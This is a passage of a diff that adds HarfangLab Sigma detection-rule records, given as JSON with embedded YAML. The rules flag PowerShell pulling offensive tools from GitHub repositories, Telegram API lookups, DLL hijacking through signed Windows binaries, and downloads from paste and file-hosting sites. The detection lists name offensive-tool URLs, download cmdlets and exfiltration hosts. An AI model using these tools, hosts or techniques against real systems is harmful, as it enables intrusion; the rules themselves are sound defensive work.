'8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALw'\n            - 'vAEkAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6AC8A'\n            # https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1\n            - '/BloodHoundAD/'\n            - 'LwBCAGwAbwBvAGQASABvAHUAbgBkAEEARAAvA'\n            - '8AQgBsAG8AbwBkAEgAbwB1AG4AZABBAEQALw'\n            - 'vAEIAbABvAG8AZABIAG8AdQBuAGQAQQBEAC8A'\n            # https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1\n            - '/Kevin-Robertson/'\n            - 'LwBLAGUAdgBpAG4ALQBSAG8AYgBlAHIAdABzAG8AbgAvA'\n            - '8ASwBlAHYAaQBuAC0AUgBvAGIAZQByAHQAcwBvAG4ALw'\n            - 'vAEsAZQB2AGkAbgAtAFIAbwBiAGUAcgB0AHMAbwBuAC8A'\n            # https://raw.githubusercontent.com/Veil-Framework/Veil-Pillage/master/data/PowerSploit/Invoke-Mimikatz.ps1\n            - '/Veil-Framework/'\n            - 'LwBWAGUAaQBsAC0ARgByAGEAbQBlAHcAbwByAGsALw'\n            - '8AVgBlAGkAbAAtAEYAcgBhAG0AZQB3AG8AcgBrAC8A'\n            - 'vAFYAZQBpAGwALQBGAHIAYQBtAGUAdwBvAHIAawAvA'\n            # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/Get-SPN/Get-SPN.psm1\n            - '/nullbind/Powershellery/'\n            - 'LwBuAHUAbABsAGIAaQBuAGQALwBQAG8AdwBlAHIAcwBoAGUAbABsAGUAcgB5AC8A'\n            - '8AbgB1AGwAbABiAGkAbgBkAC8AUABvAHcAZQByAHMAaABlAGwAbABlAHIAeQAvA'\n            - 'vAG4AdQBsAGwAYgBpAG4AZAAvAFAAbwB3AGUAcgBzAGgAZQBsAGwAZQByAHkALw'\n            # https://gist.githubusercontent.com/shantanu561993/6483e524dc225a188de04465c8512909/raw/db219421ea911b820e9a484754f03a26fbfb9c27/AMSI_bypass_Reflection.ps1\n            - '/shantanu561993/'\n            - 'LwBzAGgAYQBuAHQAYQBuAHUANQA2ADEAOQA5ADMALw'\n            - '8AcwBoAGEAbgB0AGEAbgB1ADUANgAxADkAOQAzAC8A'\n            - 'vAHMAaABhAG4AdABhAG4AdQA1ADYAMQA5ADkAMwAvA'\n            # https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1\n            - '/powercat/'\n            - 'LwBwAG8AdwBlAHIAYwBhAHQALw'\n            - '8AcABvAHcAZQByAGMAYQB0AC8A'\n            - 'vAHAAbwB3AGUAcgBjAGEAdAAvA'\n            # https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Start-Eidolon.ps1\n            - '/FuzzySecurity/PowerShell-Suite/'\n            - 'LwBGAHUAegB6AHkAUwBlAGMAdQByAGkAdAB5AC8AUABvAHcAZQByAFMAaABlAGwAbAAtAFMAdQBpAHQAZQAvA'\n            - '8ARgB1AHoAegB5AFMAZQBjAHUAcgBpAHQAeQAvAFAAbwB3AGUAcgBTAGgAZQBsAGwALQBTAHUAaQB0AGUALw'\n            - 'vAEYAdQB6AHoAeQBTAGUAYwB1AHIAaQB0AHkALwBQAG8AdwBlAHIAUwBoAGUAbABsAC0AUwB1AGkAdABlAC8A'\n            # https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1\n            - '/The-Viper-One/'\n            - 'LwBUAGgAZQAtAFYAaQBwAGUAcgAtAE8AbgBlAC8A'\n            - '8AVABoAGUALQBWAGkAcABlAHIALQBPAG4AZQAvA'\n            - 'vAFQAaABlAC0AVgBpAHAAZQByAC0ATwBuAGUALw'\n            # https://raw.githubusercontent.com/leoloobeek/LAPSToolkit/refs/heads/master/LAPSToolkit.ps1\n            - '/leoloobeek/'\n            - 'LwBsAGUAbwBsAG8AbwBiAGUAZQBrAC8A'\n            - '8AbABlAG8AbABvAG8AYgBlAGUAawAvA'\n            - 'vAGwAZQBvAGwAbwBvAGIAZQBlAGsALw'\n            # https://raw.githubusercontent.com/sense-of-security/ADRecon/refs/heads/master/ADRecon.ps1\n            - '/sense-of-security/'\n            - 'LwBzAGUAbgBzAGUALQBvAGYALQBzAGUAYwB1AHIAaQB0AHkALw'\n            - '8AcwBlAG4AcwBlAC0AbwBmAC0AcwBlAGMAdQByAGkAdAB5AC8A'\n            - 'vAHMAZQBuAHMAZQAtAG8AZgAtAHMAZQBjAHUAcgBpAHQAeQAvA'\n            # https://github.com/Friends-Security/ShadowHound/raw/refs/heads/main/ShadowHound-ADM.ps1\n            # https://github.com/Friends-Security/ShadowHound/raw/refs/heads/main/ShadowHound-DS.ps1\n            - '/Friends-Security/'\n            - 'LwBGAHIAaQBlAG4AZABzAC0AUwBlAGMAdQByAGkAdAB5AC8A'\n            - '8ARgByAGkAZQBuAGQAcwAtAFMAZQBjAHUAcgBpAHQAeQAvA'\n            - 'vAEYAcgBpAGUAbgBkAHMALQBTAGUAYwB1AHIAaQB0AHkALw'\n            # https://github.com/dafthack/GraphRunner\n            # https://github.com/dafthack/MFASweep\n            # https://github.com/dafthack/MailSniper\n            - '/dafthack/'\n            - 'LwBkAGEAZgB0AGgAYQBjAGsALw'\n            - '8AZABhAGYAdABoAGEAYwBrAC8A'\n            - 'vAGQAYQBmAHQAaABhAGMAawAvA'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d242d0d4-fb07-43c1-8f33-f08f9c952b6f",
+  "rule_name": "URLs of Malicious Code Repository in PowerShell Command-line",
+  "rule_description": "Detects PowerShell commandlets containing a URL that references repositories used to host malicious code or offensive tooling.\nThreat actors frequently use public repositories and open-source PowerShell scripts in their attacks.\nIt is recommended to investigate the repository being accessed, and examine any files or data that may have been downloaded. If your organization is not undergoing a security audit, this could indicate the initial stages of an attack.\n",
+  "rule_creation_date": "2020-12-08",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d25b1a3a-9bf4-4d10-95eb-66d52cf64863",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625374Z",
+  "creation_date": "2026-03-23T11:45:34.625376Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625380Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf",
+    "https://www.cloudsek.com/blog/breaking-into-the-bandit-stealer-malware-infrastructure",
+    "https://attack.mitre.org/techniques/T1102/002/",
+    "https://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "t1102_002_dns_resolution_telegram_api.yml",
+  "content": "title: DNS Resolution of Telegram API\nid: d25b1a3a-9bf4-4d10-95eb-66d52cf64863\ndescription: |\n    Detects a DNS resolution request to the Telegram API.\n    Adversaries may use an existing, legitimate external Web service like Telegram as a mean to sending commands to and receiving output from a compromised system over the Web service channel.\n    It is recommended to investigate the process at the origin of the DNS resolution to determine whether he can legitimately communicate with Telegram API.\nreferences:\n    - https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf\n    - https://www.cloudsek.com/blog/breaking-into-the-bandit-stealer-malware-infrastructure\n    - https://attack.mitre.org/techniques/T1102/002/\n    - https://attack.mitre.org/techniques/T1071/001/\ndate: 2023/10/04\nmodified: 2025/12/19\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1102.002\n    - attack.t1071.001\n    - classification.Windows.Source.DnsQuery\n    - classification.Windows.Behavior.NetworkActivity\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: dns_query\ndetection:\n    selection:\n        QueryName: 'api.telegram.org'\n\n    filter_browser:\n        ProcessOriginalFileName:\n            - 'firefox.exe'\n            - 'chrome.exe'\n            - 'brave.exe'\n            - 'msedge.exe'\n            - 'librewolf.exe'\n            - 'opera.exe'\n            - 'vivaldi.exe'\n            - 'iexplore.exe'\n            - 'msedgewebview2.exe'\n            - 'zen.exe'\n\n    filter_telegram:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Telegram FZ-LLC'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        ProcessSigned: 'true'\n\n    exclusion_misc_windows:\n        ProcessImage:\n            - '?:\\Windows\\System32\\PING.EXE'\n            - '?:\\Windows\\SysWOW64\\PING.EXE'\n            - '?:\\Windows\\System32\\ipconfig.exe'\n            - '?:\\Windows\\SysWOW64\\ipconfig.exe'\n            - '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n            - '?:\\Windows\\System32\\wbem\\WmiApSrv.exe'\n            - '?:\\Windows\\System32\\smartscreen.exe'\n\n    exclusion_svchost:\n        ProcessImage: '?:\\Windows\\System32\\svchost.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_xtensive_messenger:\n        ProcessImage: '?:\\Program Files\\X-tensive\\Messenger\\DPA.Messenger.exe'\n\n    exclusion_defender:\n        ProcessOriginalFileName:\n            - 'MsMpEng.exe'\n            - 'MsSense.exe'\n            - 'NisSrv.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n\n    exclusion_trellix:\n        # C:\\Program Files\\McAfee\\Endpoint Security\\Adaptive Threat Protection\\mfeatp.exe\n        ProcessDescription:\n            - 'Trellix Adaptive Threat Protection Service'\n            - 'McAfee Adaptive Threat Protection Service'\n        ProcessSigned: 'true'\n        ProcessSignature: 'MUSARUBRA US LLC'\n\n    exclusion_postman:\n        ProcessImage|endswith: '\\Postman.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Postman, Inc.'\n\n    exclusion_cisco:\n        ProcessImage: '?:\\Users\\\\*\\AppData\\Local\\CiscoSparkLauncher\\CiscoCollabHost.exe'\n\n    exclusion_jetbrains:\n        ProcessParentImage: '?:\\Program Files\\JetBrains\\PyCharm ????.*\\bin\\pycharm64.exe'\n\n    exclusion_visualstudio:\n        ProcessParentImage: '?:\\Program Files\\Microsoft Visual Studio\\\\??\\Professional\\Common7\\IDE\\CommonExtensions\\Platform\\Debugger\\VsDebugConsole.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d25b1a3a-9bf4-4d10-95eb-66d52cf64863",
+  "rule_name": "DNS Resolution of Telegram API",
+  "rule_description": "Detects a DNS resolution request to the Telegram API.\nAdversaries may use an existing, legitimate external Web service like Telegram as a mean to sending commands to and receiving output from a compromised system over the Web service channel.\nIt is recommended to investigate the process at the origin of the DNS resolution to determine whether he can legitimately communicate with Telegram API.\n",
+  "rule_creation_date": "2023-10-04",
+  "rule_modified_date": "2025-12-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1102.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d25d4f23-01a8-491f-9a6d-40fa4c24a691",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094260Z",
+  "creation_date": "2026-03-23T11:45:34.094262Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094266Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_devicecensus.yml",
+  "content": "title: DLL Hijacking via devicecensus.exe\nid: d25d4f23-01a8-491f-9a6d-40fa4c24a691\ndescription: |\n    Detects potential Windows DLL Hijacking via devicecensus.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'devicecensus.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dcntel.dll'\n            - '\\fastprox.dll'\n            - '\\flightsettings.dll'\n            - '\\idstore.dll'\n            - '\\IPHLPAPI.DLL'\n            - '\\logoncli.dll'\n            - '\\mmdevapi.dll'\n            - '\\mswsock.dll'\n            - '\\netutils.dll'\n            - '\\npmproxy.dll'\n            - '\\sapi_onecore.dll'\n            - '\\wbemprox.dll'\n            - '\\wbemsvc.dll'\n            - '\\WINHTTP.dll'\n            - '\\wlidprov.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n            - '?:\\ProgramData\\docker\\windowsfilter\\\\*\\Files\\Windows\\System32\\wbem\\'\n            - '*\\docker\\windowsfilter\\\\*\\Files\\Windows\\System32\\'\n            - '*\\docker\\windowsfilter\\\\*\\Files\\Windows\\Syswow64\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d25d4f23-01a8-491f-9a6d-40fa4c24a691",
+  "rule_name": "DLL Hijacking via devicecensus.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via devicecensus.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d2bc2fc3-bad0-46d1-8ded-549c64f89716",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.603296Z",
+  "creation_date": "2026-03-23T11:45:34.603299Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.603308Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityboulevard.com/2021/02/discord-cdn-a-popular-choice-for-hosting-malicious-payloads/",
+    "https://www.rnbo.gov.ua/files/2023_YEAR/CYBERCENTER/november/APT29%20attacks%20Embassies%20using%20CVE-2023-38831%20-%20report%20en.pdf",
+    "https://attack.mitre.org/techniques/T1102/003/"
+  ],
+  "name": "t1102_003_powershell_suspicious_download.yml",
+  "content": "title: Suspicious File Download via PowerShell\nid: d2bc2fc3-bad0-46d1-8ded-549c64f89716\ndescription: |\n    Detects Web requests made by PowerShell to suspicious domains.\n    These are usually existing, legitimate external Web services that allow users to host content.\n    Popular websites and social media may give cover to adversaries, due to hosts communicating to these domains before being compromised.\n    Adversaries can use these domains to send commands or upload payloads to a compromised system.\n    It is recommended to investigate the PowerShell command and the parent process for suspicious activities.\nreferences:\n    - https://securityboulevard.com/2021/02/discord-cdn-a-popular-choice-for-hosting-malicious-payloads/\n    - https://www.rnbo.gov.ua/files/2023_YEAR/CYBERCENTER/november/APT29%20attacks%20Embassies%20using%20CVE-2023-38831%20-%20report%20en.pdf\n    - https://attack.mitre.org/techniques/T1102/003/\ndate: 2023/01/16\nmodified: 2025/04/02\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1102.003\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.FileDownload\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection_command:\n        PowershellCommand|contains:\n            - 'DownloadFile'\n            - 'DownloadData'\n            - 'DownloadString'\n            - 'DeflateStream'\n            - 'FromBase64String'\n            - 'Invoke-WebRequest'\n            - ' iwr '\n            - ' iwr('\n            - ' iwr;'\n            - ' iwr\"'\n            - ' iwr'''\n            - '(iwr '\n            - '(iwr('\n            - '(iwr;'\n            - '(iwr\"'\n            - '(iwr'''\n            - ';iwr '\n            - ';iwr('\n            - ';iwr;'\n            - ';iwr\"'\n            - ';iwr'''\n            - '\"iwr '\n            - '\"iwr('\n            - '\"iwr;'\n            - '\"iwr\"'\n            - '\"iwr'''\n            - '''iwr '\n            - '''iwr('\n            - '''iwr;'\n            - '''iwr\"'\n            - '''iwr'''\n\n    selection_link:\n        PowershellCommand|contains:\n            - 'cdn.discordapp.com'\n            - 'pastebin.com/raw'\n            - 'paste.ee'\n            - 'api.telegram.org'\n            - 'www.dropbox.com'\n            - 'api.dropboxapi.com'\n            - 'content.dropboxapi.com'\n            - 'transfer.sh/'\n            - 'anonfiles.com'\n            - 'gofile.io'\n            - 'file.io'\n            - 'paste.c-net.org'\n            - 'ngrok-free.app/'\n            - 'ngrok-free.dev/'\n            - 'ngrok.app/'\n            - 'ngrok.dev/'\n            - 'ngrok.io/'\n\n    exclusion_nable:\n        ProcessParentImage:\n            - '?:\\Program Files (x86)\\N-able Technologies\\Windows Agent\\bin\\agent.exe'\n            - '?:\\Program Files\\N-able Technologies\\Windows Agent\\bin\\agent.exe'\n            - '?:\\Program Files (x86)\\N-able Technologies\\AutomationManagerAgent\\AutomationManager.AgentService.exe'\n            - '?:\\Program Files\\N-able Technologies\\AutomationManagerAgent\\AutomationManager.AgentService.exe'\n\n    # https://www.powershellgallery.com/packages/dbatools/1.0.135/Content/allcommands.ps1\n    exclusion_dbatools:\n        PowershellCommand|contains|all:\n            - '#.ExternalHelp dbatools-Help.xml'\n            - 'function Add-DbaAgDatabase {'\n            - 'function Add-DbaAgListener {'\n            - 'function Save-DbaDiagnosticQueryScript {'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d2bc2fc3-bad0-46d1-8ded-549c64f89716",
+  "rule_name": "Suspicious File Download via PowerShell",
+  "rule_description": "Detects Web requests made by PowerShell to suspicious domains.\nThese are usually existing, legitimate external Web services that allow users to host content.\nPopular websites and social media may give cover to adversaries, due to hosts communicating to these domains before being compromised.\nAdversaries can use these domains to send commands or upload payloads to a compromised system.\nIt is recommended to investigate the PowerShell command and the parent process for suspicious activities.\n",
+  "rule_creation_date": "2023-01-16",
+  "rule_modified_date": "2025-04-02",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1102.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d2dec7ca-1e0f-4830-bdb7-913fefbd8a13",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098222Z",
+  "creation_date": "2026-03-23T11:45:34.098224Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098228Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_microsoft_uev_cscunpintool.yml",
+  "content": "title: DLL Hijacking via microsoft.uev.cscunpintool.exe\nid: d2dec7ca-1e0f-4830-bdb7-913fefbd8a13\ndescription: |\n    Detects potential Windows DLL Hijacking via microsoft.uev.cscunpintool.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'microsoft.uev.cscunpintool.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\CSCAPI.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d2dec7ca-1e0f-4830-bdb7-913fefbd8a13",
+  "rule_name": "DLL Hijacking via microsoft.uev.cscunpintool.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via microsoft.uev.cscunpintool.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d2e34f8d-c34b-4149-94f4-502c3fecc3e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628509Z",
+  "creation_date": "2026-03-23T11:45:34.628511Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628515Z",
+  "rule_level": "low",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/",
+    "https://opensource.apple.com/source/Libc/Libc-583/include/unistd.h.auto.html",
+    "https://www.manpagez.com/man/3/confstr/",
+    "https://attack.mitre.org/techniques/T1083/"
+  ],
+  "name": "t1083_python_confstr_user_cache_dir.yml",
